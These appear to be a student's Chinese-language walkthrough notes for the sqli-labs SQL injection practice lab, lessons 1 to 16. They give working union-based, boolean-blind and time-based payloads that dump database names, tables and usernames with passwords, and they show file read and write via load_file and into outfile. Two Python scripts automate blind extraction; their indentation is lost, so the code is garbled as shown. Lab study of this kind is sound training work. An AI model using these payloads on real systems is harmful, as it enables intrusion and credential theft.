Lass1
查询id为1的用户名和密码

查询id为2的用户名和密码

没有回显,不含id=-1的行

判断字段数,字段数为3


查询数据库用户名,和数据库名
查询时id必须超出数据库以外,一般用-1
用户名:user()
数据库名:database()cha
mysql版本:version()


查询数据库中的所有表的名字:http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = 'security'--+
查询数据库中所有表名语法:group_concat(table_name)
从information_schema.tables中查询
条件数据库名必须为security:table_schema = 'security'

查询users表中的字段名:http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name = 'users'--+
查询所有字段名:group_concat(column_name)
从information_schema.columns中查询
表名必须为users: table_name = 'users'

查询字段值:http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,group_concat(username,0x3a,password),3 from users--+
查询所有用户名和密码:group_concat(username,0x3a,password)
从users表中
Lass2
行数为3


查询数据库名

查询表名

查询列名

查询字段名
Lass-3
先闭合

列数为3


数据库名

表名

列名

字段值
Lass4
闭合

Lass5

Lass6

页面不显示数据只有对错页面显示,选择布尔盲注
布尔盲注主要用到length(),ascii() ,substr()这三个函数,首先通过length()函数确定长度再通过另外两个确定具体字符是什么。
?id=1'and length((select database()))>9--+
#大于号可以换成小于号或者等于号,主要是判断数据库的长度。lenfth()是获取当前数据库名的长度。如果数据库是haha那么length()就是4
?id=1'and ascii(substr((select database()),1,1))=115--+
#substr("78909",1,1)=7
substr(a,b,c)
a是要截取的字符串,b是截取的位置,c是截取的长度。布尔盲注我们都是长度为1因为我们要一个个判断字符。
ascii()是将截取的字符转换成对应的ascii吗,这样我们可以很好确定数字根据数字找到对应的字符。
?id=1'and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13--+
判断所有表名字符长度。
?id=1'and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99--+
逐一判断表名
?id=1'and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20--+
判断所有字段名的长度
?id=1'and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99--+
逐一判断字段名。
?id=1' and length((select group_concat(username,password) from users))>109--+
判断字段内容长度
?id=1' and ascii(substr((select group_concat(username,password) from users),1,1))>50--+
逐一检测内容。
Lass7
闭合

列数为3


页面只显示对错无数据回显
读写文件
读文件前提:
1.存在注入点的web站点用户权限要足够高
2.secure_file_priv不为NULL(show global variables like "secure_file_priv";)(否则就没办法使用mysql中的函数进行读写)
读文件函数:
select load_file('路径');
写文件前提:
general_log = on
(查看general_log:show variables like'%general%';
修改general_log为on:set global general_log = on;)
写文件
select 字段名 from 表 into outfile "路径"
http://10.0.2.15/sqli/Less-7/?id=1')) union select 1,2,group_concat(username,0x3a,password) from users into outfile "/root/桌面/sqlilabs_qiu/Mysql注入读写文件Less7/out.txt"--+
Lass8
页面只显示对错无数据回显,基于布尔值的盲注


#coding:utf-8
import requests
char = "abcdefghijklmnopqrstuvwxyz0123456789~*/\{}?!:@_-,"
namelen = 1024
name = ""
res = requests.get("http://localhost/sqli-labs-master/Less-8/?id=1")
truelen = len(res.content)
for i in range(1, namelen):
flag = True
for str in char:
#表名
#res = requests.get("http://localhost/sqli-labs-master/Less-8/?id=1' and mid((select group_concat(table_name) from information_schema.tables where table_schema = database()),%s,1)=%%27%s%%27 --+"%(i,str))
#字段名
#res = requests.get("http://localhost/sqli-labs-master/Less-8/?id=1' and mid((select group_concat(column_name) from information_schema.columns where table_name = 'users'),%s,1)=%%27%s%%27 --+"%(i,str))
#字段值
#res = requests.get("http://localhost/sqli-labs-master/Less-8/?id=1' and mid((select group_concat(username,0x3a,password) from users),%s,1)=%%27%s%%27 --+"%(i,str))
if(len(res.content) == truelen):
name += str
print(str)
flag = False
break
if(flag):break
print(name)

脚本比较慢
Lass9
无论对错,回显都一样。此时基于布尔盲注的方法已经不适用,故采用基于时间的盲注
布尔盲注适合页面对于错误和正确结果有不同反应。如果页面一直不变这个时候我们可以使用时
间注入,时间注入和布尔盲注两种没有多大差别只不过时间盲注多了if函数和sleep()函数。
if(a,sleep(10),1)如果a结果是真的,那么执行sleep(10)页面延迟10秒,如果a的结果是假,执行1,页面不延迟。通过页面时间来判断出id参数是单引号字符串。
?id=1' and if(1=1,sleep(5),1)--+
判断参数构造。
?id=1'and if(length((select database()))>9,sleep(5),1)--+
判断数据库名长度
?id=1'and if(ascii(substr((select database()),1,1))=115,sleep(5),1)--+
逐一判断数据库字符
?id=1'and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13,sleep(5),1)--+
判断所有表名长度
?id=1'and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99,sleep(5),1)--+
逐一判断表名
?id=1'and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20,sleep(5),1)--+
判断所有字段名的长度
?id=1'and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99,sleep(5),1)--+
逐一判断字段名。
?id=1' and if(length((select group_concat(username,password) from users))>109,sleep(5),1)--+
判断字段内容长度
?id=1' and if(ascii(substr((select group_concat(username,password) from users),1,1))>50,sleep(5),1)--+
逐一检测内容。
python脚本
import requests
import time
将url 替换成你的靶场关卡网址
修改两个对应的payload
目标网址(不带参数)
url = "http://127.0.0.1/sqli-labs-master/Less-9/"
猜解长度使用的payload
payload_len = """?id=1' and if(
(length(
(database())
) ={n})
,sleep(5),3) -- a"""
枚举字符使用的payload
payload_str = """?id=1' and if(
(ascii(
substr(
(database())
,{n},1)
) ={r})
, sleep(5), 3) -- a"""
获取长度
def getLength(url, payload):
length = 1 # 初始测试长度为1
while True:
start_time = time.time()
response = requests.get(url= url+payload_len.format(n= length))
页面响应时间 = 结束执行的时间 - 开始执行的时间
use_time = time.time() - start_time
响应时间>5秒时,表示猜解成功
if use_time > 5:
print('测试长度完成,长度为:', length,)
return length;
else:
print('正在测试长度:',length)
length += 1 # 测试长度递增
获取字符
def getStr(url, payload, length):
str = '' # 初始表名/库名为空
第一层循环,截取每一个字符
for l in range(1, length+1):
第二层循环,枚举截取字符的每一种可能性
for n in range(33, 126):
start_time = time.time()
response = requests.get(url= url+payload_str.format(n= l, r= n))
页面响应时间 = 结束执行的时间 - 开始执行的时间
use_time = time.time() - start_time
页面中出现此内容则表示成功
if use_time > 5:
str+= chr(n)
print('第', l, '个字符猜解成功:', str)
break;
return str;
开始猜解
length = getLength(url, payload_len)
getStr(url, payload_str, length)

Lass10和lass9一样,'换成"
Lass11
#注释
Or 1=1判断是否有sql注入

Lass12

Lass13和lass12差不多,只需要将双引号换成单引号。
Lass14和lass11差不多,只需要将单引号换成双引号。
Lass15和第lass11一样,只是不产生报错信息。布尔盲注。有错误页面和正确页面进行参考。
Lass16和lass12一样,需要布尔盲注。